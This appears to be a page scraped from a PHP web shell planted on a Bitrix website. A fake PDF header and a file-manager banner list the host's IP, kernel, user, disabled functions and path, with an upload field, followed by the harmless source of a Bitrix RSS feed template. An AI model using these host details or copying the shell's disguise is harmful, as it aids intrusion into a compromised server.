%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.137.163.206 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/imag/24/bitrix/templates/artantiq/components/bitrix/news/articles/bitrix/rss.out/.default/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); /** @var array $arParams */ /** @var array $arResult */ /** @global CMain $APPLICATION */ /** @global CUser $USER */ /** @global CDatabase $DB */ /** @var CBitrixComponentTemplate $this */ /** @var string $templateName */ /** @var string $templateFile */ /** @var string $templateFolder */ /** @var string $componentPath */ /** @var CBitrixComponent $component */ $this->setFrameMode(false); ?> <?='<?xml version="1.0" encoding="'.SITE_CHARSET.'"?>'?> <rss version="2.0"<?if($arParams["YANDEX"]) echo ' xmlns="http://backend.userland.com/rss2" xmlns:yandex="http://news.yandex.ru"';?>> <channel> <title><?=$arResult["NAME"].($arResult["SECTION"]["NAME"] <> ''?" / ".$arResult["SECTION"]["NAME"]:"")?></title> <link><?="http://".$arResult["SERVER_NAME"]?></link> <description><?=$arResult["SECTION"]["DESCRIPTION"] <> ''?$arResult["SECTION"]["DESCRIPTION"]:$arResult["DESCRIPTION"]?></description> <lastBuildDate><?=date("r")?></lastBuildDate> <ttl><?=$arResult["RSS_TTL"]?></ttl> <?if(is_array($arResult["PICTURE"])):?> <?$image = mb_substr($arResult["PICTURE"]["SRC"], 0, 1) == "/"? "http://".$arResult["SERVER_NAME"].$arResult["PICTURE"]["SRC"]: $arResult["PICTURE"]["SRC"];?> <?if($arParams["YANDEX"]):?> <yandex:logo><?=$image?></yandex:logo> <? $squareSize = min($arResult["PICTURE"]["WIDTH"], $arResult["PICTURE"]["HEIGHT"]); if ($squareSize > 0) { $squarePicture = CFile::ResizeImageGet( $arResult["PICTURE"], array("width" => $squareSize, "height" => $squareSize), BX_RESIZE_IMAGE_EXACT ); if ($squarePicture) { $squareImage = mb_substr($squarePicture["src"], 0, 1) == "/"? "http://".$arResult["SERVER_NAME"].$squarePicture["src"]: $squarePicture["src"]; ?><yandex:logo type="square"><?=$squareImage?></yandex:logo><? } } ?> <?else:?> <image> <title><?=$arResult["NAME"]?></title> <url><?=$image?></url> <link><?="http://".$arResult["SERVER_NAME"]?></link> <width><?=$arResult["PICTURE"]["WIDTH"]?></width> <height><?=$arResult["PICTURE"]["HEIGHT"]?></height> </image> <?endif?> <?endif?> <?foreach($arResult["ITEMS"] as $arItem):?> <item> <title><?=$arItem["title"]?></title> <link><?=$arItem["link"]?></link> <description><?=$arItem["description"]?></description> <?if(is_array($arItem["enclosure"])):?> <enclosure url="<?=$arItem["enclosure"]["url"]?>" length="<?=$arItem["enclosure"]["length"]?>" type="<?=$arItem["enclosure"]["type"]?>"/> <?endif?> <?if($arItem["category"]):?> <category><?=$arItem["category"]?></category> <?endif?> <?if($arParams["YANDEX"]):?> <yandex:full-text><?=$arItem["full-text"]?></yandex:full-text> <?endif?> <pubDate><?=$arItem["pubDate"]?></pubDate> </item> <?endforeach?> </channel> </rss>